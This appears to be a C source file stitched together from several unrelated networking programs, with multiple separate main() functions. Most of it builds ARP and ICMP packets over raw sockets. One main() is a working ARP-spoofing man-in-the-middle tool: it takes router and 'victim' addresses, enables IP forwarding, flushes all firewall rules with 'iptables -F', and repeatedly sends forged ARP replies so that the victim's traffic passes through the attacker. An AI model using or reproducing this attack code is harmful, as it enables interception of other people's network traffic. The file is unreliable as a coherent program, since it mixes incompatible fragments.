char* buildRequest(char* sourceMac,char* sourceIp, char* destinationIp, ARPDetails cacheEntry) { struct ethhdr *eth; int status; arp_hdr* arpHeader; unsigned short type=htons(ETH_TYPE); char* frame = (char*) allocate_strmem(FRAME_LENGTH); eth = (struct ethhdr*) frame; memcpy(eth->h_dest,BRODCAST_MAC,HADDR_LEN); memcpy(eth->h_source,sourceMac,HADDR_LEN); eth->h_proto = type; arpHeader = (arp_hdr*)(eth+1); arpHeader->hlen = HADDR_LEN; arpHeader->htype = ETHERNET; arpHeader->opcode = ARPOP_REQUEST; arpHeader->plen = IPADDR_LEN; memcpy (&arpHeader->sender_mac, sourceMac, HADDR_LEN); memcpy (&arpHeader->target_mac, BRODCAST_MAC, HADDR_LEN); struct in_addr sinAddr; if ((status = inet_pton (AF_INET, sourceIp, &sinAddr)) != 1) { fprintf (stderr, "inet_pton() failed for source IP address.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } setARPIPBlock(sinAddr,arpHeader->sender_ip); if ((status = inet_pton (AF_INET, destinationIp, &sinAddr)) != 1) { fprintf (stderr, "inet_pton() failed for destination IP address.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } setARPIPBlock(sinAddr,arpHeader->target_ip); arpHeader->advNumber = ARP_ADV_NUM; return frame; }
char* get_mac_addr(int socket, char *interface) { uint8_t *src_mac; char *mac; struct ifreq ifr; memset(&ifr, 0, sizeof (ifr)); bzero(&ifr, sizeof (ifr)); src_mac = allocate_ustrmem(ETHER_ADDR_LEN); mac = allocate_strmem(MAC_ADDR_STRLEN); strncpy((char *) ifr.ifr_name, interface, IFNAMSIZ); if ((ioctl(socket, SIOCGIFHWADDR, &ifr)) == -1) { submit_log("create_raw_socket(): [%s]\n", "Error getting HW ADDR"); exit(EXIT_FAILURE); } memcpy(src_mac, ifr.ifr_hwaddr.sa_data, ETHER_ADDR_LEN * sizeof (uint8_t)); sprintf(mac, "%02x:%02x:%02x:%02x:%02x:%02x", src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5]); submit_log("Interface: %s\n", interface); submit_log("MAC ADDR: %s\n", mac); return mac; }
char *marshallMessage(char ipAddress[INET_ADDRSTRLEN], const char macAddress[HADDR_LEN]) { int messageLength = INET_ADDRSTRLEN + HADDR_LEN; char* marshelledMessage = (char*)allocate_strmem(messageLength); memcpy(marshelledMessage,macAddress,HADDR_LEN); strncpy(marshelledMessage+HADDR_LEN,ipAddress,INET_ADDRSTRLEN); return marshelledMessage; }
int createRtSocket(){ const int on = 1; int sd; struct ifreq ifr; char* interface = allocate_strmem (40); strcpy (interface, "eth0"); // Submit request for a socket descriptor to look up interface. if ((sd = socket (AF_INET, SOCK_RAW, RT_PROTO)) < 0) { perror ("socket() failed to get socket descriptor for using ioctl() "); exit (EXIT_FAILURE); } // Use ioctl() to look up interface index which we will use to // bind socket descriptor sd to specified interface with setsockopt() since // none of the other arguments of sendto() specify which interface to use. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) { perror ("ioctl() failed to find interface "); return (EXIT_FAILURE); } close (sd); // Submit request for a raw socket descriptor. if ((sd = socket (AF_INET, SOCK_RAW, RT_PROTO)) < 0) { perror ("socket() failed "); exit (EXIT_FAILURE); } // Set flag so socket expects us to provide IPv4 header. if (setsockopt (sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0) { perror ("setsockopt() failed to set IP_HDRINCL "); exit (EXIT_FAILURE); } // Bind socket to interface index. if (setsockopt (sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) { perror ("setsockopt() failed to bind to interface "); exit (EXIT_FAILURE); } free(interface); return sd; }
char* get_ip_addr(int socket, char *interface) { char *src_ip; struct ifreq ifr; memset(&ifr, 0, sizeof (ifr)); bzero(&ifr, sizeof (ifr)); src_ip = allocate_strmem(INET_ADDRSTRLEN); strncpy((char *) ifr.ifr_name, interface, IFNAMSIZ); if ((ioctl(socket, SIOCGIFADDR, &ifr)) == -1) { submit_log("create_raw_socket(): [%s]\n", "Error getting IP ADDR"); exit(EXIT_FAILURE); } strcpy(src_ip, inet_ntoa(((struct sockaddr_in *) &ifr.ifr_addr)->sin_addr)); submit_log("IP ADDR: %s\n", src_ip); return src_ip; }
char* buildReply(arp_hdr arpHeader) { struct ethhdr *eth; int status; unsigned short type=htons(ETH_TYPE); char* frame = (char*) allocate_strmem(FRAME_LENGTH); eth = (struct ethhdr*) frame; eth->h_proto=type; populateLocalMacAddress(eth->h_source); memcpy(eth->h_dest, arpHeader.sender_mac,HADDR_LEN); arp_hdr* newArpHeader = (arp_hdr*)(eth+1); memcpy(newArpHeader->target_mac, arpHeader.sender_mac,HADDR_LEN); strncpy(newArpHeader->target_ip,arpHeader.sender_ip,INETP_LEN ); populateLocalMacAddress(newArpHeader->sender_mac); strncpy(newArpHeader->sender_ip,arpHeader.target_ip,INETP_LEN ); newArpHeader->opcode = ARPOP_REPLY; newArpHeader->advNumber = arpHeader.advNumber; newArpHeader->hlen = arpHeader.hlen; newArpHeader->htype = arpHeader.htype; newArpHeader->plen = arpHeader.plen; newArpHeader->ptype = arpHeader.ptype; return frame; }
int main (int argc, char **argv) { int i, status, frame_length, sd, bytes; char *interface; uint8_t *src_mac, *dst_mac, *ether_frame; struct sockaddr_in *ipv4; struct sockaddr_ll device; struct ifreq ifr; // Allocate memory for various arrays. src_mac = allocate_ustrmem (6); dst_mac = allocate_ustrmem (6); ether_frame = allocate_ustrmem (ETH_HDRLEN); interface = allocate_strmem (40); // Interface to send packet through. strcpy (interface, argv[1]); // Submit request for a socket descriptor to look up interface. if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror ("socket() failed to get socket descriptor for using ioctl() "); exit (EXIT_FAILURE); } // Use ioctl() to look up interface name and get its MAC address. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) { perror ("ioctl() failed to get source MAC address "); return (EXIT_FAILURE); } close (sd); // Copy source MAC address. memcpy (src_mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t)); // Report source MAC address to stdout. printf ("MAC address for interface %s is ", interface); for (i=0; i<5; i++) { printf ("%02x:", src_mac[i]); } printf ("%02x\n", src_mac[5]); // Find interface index from interface name and store index in // struct sockaddr_ll device, which will be used as an argument of sendto(). memset (&device, 0, sizeof (device)); if ((device.sll_ifindex = if_nametoindex (interface)) == 0) { perror ("if_nametoindex() failed to obtain interface index "); exit (EXIT_FAILURE); } printf ("Index for interface %s is %i\n", interface, device.sll_ifindex); // Set destination MAC address: broadcast address memset (dst_mac, 0xff, 6 * sizeof (uint8_t)); // Fill out sockaddr_ll. device.sll_family = AF_PACKET; memcpy (device.sll_addr, src_mac, 6 * sizeof (uint8_t)); device.sll_halen = 6; // Fill out ethernet frame header. // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header) frame_length = 6 + 6 + 2; // Destination and Source MAC addresses memcpy (ether_frame, dst_mac, 6 * sizeof (uint8_t)); memcpy (ether_frame + 6, src_mac, 6 * sizeof (uint8_t)); // Next is ethernet type code (ETH_P_ARP for ARP). // http://www.iana.org/assignments/ethernet-numbers ether_frame[12] = ETH_HLEN / 256; ether_frame[13] = ETH_HLEN % 256; // Submit request for a raw socket descriptor. if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) { perror ("socket() failed "); exit (EXIT_FAILURE); } // Send ethernet frame to socket. if ((bytes = sendto (sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) { perror ("sendto() failed"); exit (EXIT_FAILURE); } // Close socket descriptor. close (sd); // Free allocated memory. free (src_mac); free (dst_mac); free (ether_frame); free (interface); return (EXIT_SUCCESS); }
int main(int argc, char **argv) { eth_header *ethernet; arp_header *arp; int arg, c, set_router = 0, set_target = 0; int unidir = 0; char *interface = NULL; char *exitValue; FILE *config; char *router = NULL, *victim = NULL; if (argc < 2) { fprintf(stderr, "Too Few Arguments\n"); fprintf(stderr, "Option -%c requires an argument.\n", optopt); fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n-r \"{ROUTER_IP:ROUTER_MAC}\" \n-t \"{VICTIM_IP:VICTIM_MAC}\" \n", argv[0]); return 1; } else { while ((c = getopt(argc, argv, "i:ur:t:")) != -1) { switch (c) { case 'i': interface = optarg; break; case 'u': // flag for uni-directional unidir = 1; break; case 'r': // flag for router info router = optarg; set_router = 1; break; case 't': // flag for target info victim = optarg; set_target = 1; break; case '?': if (optopt == 'i') { fprintf(stderr, "Option -%c requires an argument.\n", optopt); fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n", argv[0]); } else if (optopt == 'r') { fprintf(stderr, "Option -%c requires an argument.\n", optopt); fprintf(stderr, "[USAGE] => %s -r {router_ip-router_mac} \n", argv[0]); } else if (optopt == 't') { fprintf(stderr, "Option -%c requires an argument.\n", optopt); fprintf(stderr, "[USAGE] => %s -t {target_ip-target_mac} \n", argv[0]); } else if (isprint(optopt)) { fprintf(stderr, "Unknown option '-%c'.\n", optopt); } else { fprintf(stderr, "Unknown option character '\\x%x'.\n", optopt); } return 1; } } } MY_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN); MY_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN); ROUTER_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN); ROUTER_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN); VICTIM_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN); VICTIM_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN); // Create a Raw Socket RAW = create_raw_socket(ETH_P_ALL); MY_MAC_ADDRS = get_mac_addr(RAW, interface); MY_IP_ADDRS = get_ip_addr(RAW, interface); submit_log("MY IP ADDR: %s", MY_IP_ADDRS); submit_log("MY MAC ADDR: %s", MY_MAC_ADDRS); if (set_router == 1) { ROUTER_IP_ADDRS = strtok(router, "-"); ROUTER_MAC_ADDRS = strtok(NULL, "-"); submit_log("R IP ADDR: %s", ROUTER_IP_ADDRS); submit_log("R MAC ADDR: %s", ROUTER_MAC_ADDRS); } if (set_target == 1) { VICTIM_IP_ADDRS = strtok(victim, "-"); VICTIM_MAC_ADDRS = strtok(NULL, "-"); submit_log("V IP ADDR: %s", VICTIM_IP_ADDRS); submit_log("V MAC ADDR: %s", VICTIM_MAC_ADDRS); } arg = 1; if (setsockopt(RAW, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof (arg)) == -1) { submit_log("[%s]\n", "setsockopt(): failed"); exit(EXIT_FAILURE); } //BindRawSocketToInterface(argv[1], RAW,ETH_P_ALL); // Bind raw Socket to Interface if (unidir != 1) { // Enable IP Forwarding to capture 2 way traffic (Victim >> Router && Router >> Victim) if ((system("echo 1 > /proc/sys/net/ipv4/ip_forward")) == -1) { submit_log("%s", "unable to set ip_forward flag to 1"); return EXIT_FAILURE; } } else { submit_log("%s", "IP Forwarding set to 0"); // Allow to capture 1 way traffic (Victim >> Router) and do not pass the request to Router if ((system("echo 0 > /proc/sys/net/ipv4/ip_forward")) == -1) { submit_log("%s", "unable to set ip_forward flag to 0"); return EXIT_FAILURE; } } // Clear the Firewall rules for the device if ((system("iptables -F")) == -1) { submit_log("%s", "Unable to Flush the Firewall rules"); return EXIT_FAILURE; } while (TRUE) { ethernet = create_eth_header(MY_MAC_ADDRS, VICTIM_MAC_ADDRS, ETHERTYPE_ARP); arp = create_arp_header(MY_MAC_ADDRS, ROUTER_IP_ADDRS, VICTIM_MAC_ADDRS, VICTIM_IP_ADDRS, ARP_REPLY); send_packet(ethernet, arp, interface); ethernet = create_eth_header(MY_MAC_ADDRS, ROUTER_MAC_ADDRS, ETHERTYPE_ARP); arp = create_arp_header(MY_MAC_ADDRS, VICTIM_IP_ADDRS, ROUTER_MAC_ADDRS, ROUTER_IP_ADDRS, ARP_REPLY); send_packet(ethernet, arp, interface); sleep(1); config = fopen(CONFIG_FILE_LOC, "r"); exitValue = malloc(sizeof (char *)); rewind(config); // Seek to the beginning of the file if (fgets(exitValue, 100, config) != NULL) { fprintf(stdout, "%c\n", exitValue[0]); fflush(stdout); if (exitValue[0] == '1') { fprintf(stdout, "Exiting.....\n"); break; } } free(exitValue); fclose(config); } return 0; }
int main (int argc, char **argv) { int i, offset, sd, status; uint8_t *ether_frame; struct ip *iphdr; ra_hdr *rahdr; char *src_ip, *dst_ip; // Allocate memory for various arrays. ether_frame = allocate_ustrmem (IP_MAXPACKET); src_ip = allocate_strmem (INET_ADDRSTRLEN); dst_ip = allocate_strmem (INET_ADDRSTRLEN); // Submit request for a raw socket descriptor. if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) { perror ("socket() failed "); exit (EXIT_FAILURE); } // Listen for incoming ethernet frame from socket sd. // We expect a router advertisment ethernet frame of the form: // MAC (6 bytes) + MAC (6 bytes) + ethernet type (2 bytes) // + ethernet data (IPv4 header + RA header) // Keep at it until we get a router advertisement. iphdr = (struct ip *) (ether_frame + 6 + 6 +2); rahdr = (ra_hdr *) (ether_frame + 6 + 6 + 2 + IP4_HDRLEN); while (((((ether_frame[12]) << 8) + ether_frame[13]) != ETH_P_IP) || (iphdr->ip_p != IPPROTO_ICMP) || (rahdr->icmp_type != ICMP_ROUTERADVERT)) { if ((status = recv (sd, ether_frame, IP_MAXPACKET, 0)) < 0) { if (errno == EINTR) { memset (ether_frame, 0, IP_MAXPACKET * sizeof (uint8_t)); continue; // Something weird happened, but let's try again. } else { perror ("recv() failed:"); exit (EXIT_FAILURE); } } } close (sd); // Print out contents of received ethernet frame. printf ("\nEthernet frame header:\n"); printf ("Destination MAC (this node): "); for (i=0; i<5; i++) { printf ("%02x:", ether_frame[i]); } printf ("%02x\n", ether_frame[5]); printf ("Source MAC: "); for (i=0; i<5; i++) { printf ("%02x:", ether_frame[i+6]); } printf ("%02x\n", ether_frame[11]); // Next is ethernet type code (ETH_P_IP for IPv4 packets). // http://www.iana.org/assignments/ethernet-numbers printf ("Ethernet type code (2048 = IPv4): %u\n", ((ether_frame[12]) << 8) + ether_frame[13]); printf ("\nEthernet data (IPv4 header + Router Advertisement header)\n"); printf ("IPv4 transport layer protocol (1 = ICMP): %u\n", iphdr->ip_p); if (inet_ntop (AF_INET, &(iphdr->ip_src), src_ip, INET_ADDRSTRLEN) == NULL) { status = errno; fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } printf ("Source IPv4 address: %s\n", src_ip); if (inet_ntop (AF_INET, &(iphdr->ip_dst), dst_ip, INET_ADDRSTRLEN) == NULL) { status = errno; fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } printf ("Destination IPv4 address: %s\n", dst_ip); printf ("ICMP message type (9 = router advertisement): %u\n", rahdr->icmp_type); printf ("ICMP message code: %u\n", rahdr->icmp_code); printf ("Number of IPv4 addresses associated with router: %u\n", rahdr->num_addrs); printf ("Router address entry size (in units of 32 bit words): %u\n", rahdr->entry_size); printf ("Lifetime of validity of router advertisement (seconds): %u\n", ntohs (rahdr->lifetime)); offset = 6 + 6 + 2 + IP4_HDRLEN + ICMP_HDRLEN; // Start of list of addresses and preference levels within ethernet frame for (i=0; i<rahdr->num_addrs; i++) { printf ("Router %i IPv4 address: %u:%u:%u:%u\n", i, ether_frame[offset + (i * rahdr->entry_size * 4) + 0], ether_frame[offset + (i * rahdr->entry_size * 4) + 1], ether_frame[offset + (i * rahdr->entry_size * 4) + 2], ether_frame[offset + (i * rahdr->entry_size * 4) + 3]); printf ("Router %i preference level: %u\n", i, ((ether_frame[offset + (i * rahdr->entry_size * 4) + 4]) << 24) + ((ether_frame[offset + (i * rahdr->entry_size * 4) + 5]) << 16) + ((ether_frame[offset + (i * rahdr->entry_size * 4) + 6]) << 8) + ether_frame[offset + (i * rahdr->entry_size * 4) + 7]); offset += rahdr->entry_size * 4; } free (ether_frame); free (src_ip); free (dst_ip); return (EXIT_SUCCESS); }
int sendRtMsg(int sd){ int status, datalen, *ip_flags; char *target, *src_ip, *dst_ip; struct ip iphdr; uint8_t *data, *packet; struct icmp icmphdr; struct addrinfo hints, *res; struct sockaddr_in *ipv4, sin; void *tmp; // Allocate memory for various arrays. data = allocate_ustrmem (IP_MAXPACKET); packet = allocate_ustrmem (IP_MAXPACKET); target = allocate_strmem (40); src_ip = allocate_strmem (INET_ADDRSTRLEN); dst_ip = allocate_strmem (INET_ADDRSTRLEN); ip_flags = allocate_intmem (4); strcpy(src_ip, inet_ntoa(ip_list[0])); strcpy(target, inet_ntoa(ip_list[1])); debug("Source IP %s, targe IP %s", src_ip, target); // Fill out hints for getaddrinfo(). memset (&hints, 0, sizeof (struct addrinfo)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = hints.ai_flags | AI_CANONNAME; // Resolve target using getaddrinfo(). if ((status = getaddrinfo (target, NULL, &hints, &res)) != 0) { fprintf (stderr, "getaddrinfo() failed: %s\n", gai_strerror (status)); exit (EXIT_FAILURE); } ipv4 = (struct sockaddr_in *) res->ai_addr; tmp = &(ipv4->sin_addr); if (inet_ntop (AF_INET, tmp, dst_ip, INET_ADDRSTRLEN) == NULL) { status = errno; fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } freeaddrinfo (res); datalen = sizeof(struct tourdata) + (VMcount * 4); struct tourdata td; td.index = htonl(0); td.nodes_in_tour = htonl(VMcount); td.mult_ip = inet_addr(MULTICAST_IP); td.mult_port = htons(MULTICAST_PORT); memcpy(data, &td, sizeof(struct tourdata)); subscribeToMulticast(&td); void * ptr = data; ptr = ptr + sizeof(struct tourdata); int i; //Add the IPs of the VMs to visit for(i = 1; i <=VMcount; i++){ memcpy(ptr, &ip_list[i], 4); struct in_addr * temp2 = (struct in_addr *) ptr; ptr = ptr + 4; } // IPv4 header // IPv4 header length (4 bits): Number of 32-bit words in header = 5 iphdr.ip_hl = IP4_HDRLEN / sizeof (uint32_t); iphdr.ip_v = 4;// Internet Protocol version (4 bits): IPv4 iphdr.ip_tos = 0;// Type of service (8 bits) iphdr.ip_len = htons (IP4_HDRLEN + ICMP_HDRLEN + datalen);// Total length of datagram (16 bits): IP header + UDP header + datalen iphdr.ip_id = htons (MY_IP_ID);// ID sequence number (16 bits): unused, since single datagram // Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram ip_flags[0] = 0; ip_flags[1] = 0;// Do not fragment flag (1 bit) ip_flags[2] = 0;// More fragments following flag (1 bit) ip_flags[3] = 0;// Fragmentation offset (13 bits) iphdr.ip_off = htons ((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) + ip_flags[3]); iphdr.ip_ttl = 255;// Time-to-Live (8 bits): default to maximum value iphdr.ip_p = RT_PROTO;// Transport layer protocol (8 bits): 1 for ICMP // Source IPv4 address (32 bits) if ((status = inet_pton (AF_INET, src_ip, &(iphdr.ip_src))) != 1) { fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } // Destination IPv4 address (32 bits) if ((status = inet_pton (AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) { fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status)); exit (EXIT_FAILURE); } // IPv4 header checksum (16 bits): set to 0 when calculating checksum iphdr.ip_sum = 0; iphdr.ip_sum = checksum ((uint16_t *) &iphdr, IP4_HDRLEN); // ICMP header icmphdr.icmp_type = 0;// Message Type (8 bits): echo request icmphdr.icmp_code = 0;// Message Code (8 bits): echo request icmphdr.icmp_id = htons (RT_ICMPID);// Identifier (16 bits): usually pid of sending process - pick a number icmphdr.icmp_seq = htons (0);// Sequence Number (16 bits): starts at 0 icmphdr.icmp_cksum = 0; icmphdr.icmp_cksum = icmp4_checksum(icmphdr, data, datalen); // Prepare packet. // First part is an IPv4 header. memcpy (packet, &iphdr, IP4_HDRLEN); // Next part of packet is upper layer protocol header. memcpy ((packet + IP4_HDRLEN), &icmphdr, ICMP_HDRLEN); // Finally, add the ICMP data. memcpy (packet + IP4_HDRLEN + ICMP_HDRLEN, data, datalen); // Calculate ICMP header checksum //icmphdr.icmp_cksum = 0;//checksum ((uint16_t *) (packet + IP4_HDRLEN), ICMP_HDRLEN + datalen); //memcpy ((packet + IP4_HDRLEN), &icmphdr, ICMP_HDRLEN); // The kernel is going to prepare layer 2 information (ethernet frame header) for us. // For that, we need to specify a destination for the kernel in order for it // to decide where to send the raw datagram. We fill in a struct in_addr with // the desired destination IP address, and pass this structure to the sendto() function. memset (&sin, 0, sizeof (struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = iphdr.ip_dst.s_addr; if (sendto (sd, packet, IP4_HDRLEN + ICMP_HDRLEN + datalen, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0) { perror ("sendto() failed "); exit (EXIT_FAILURE); } printOK(); // Free allocated memory. free (data); free (packet); free (target); free (src_ip); free (dst_ip); free (ip_flags); return 0; }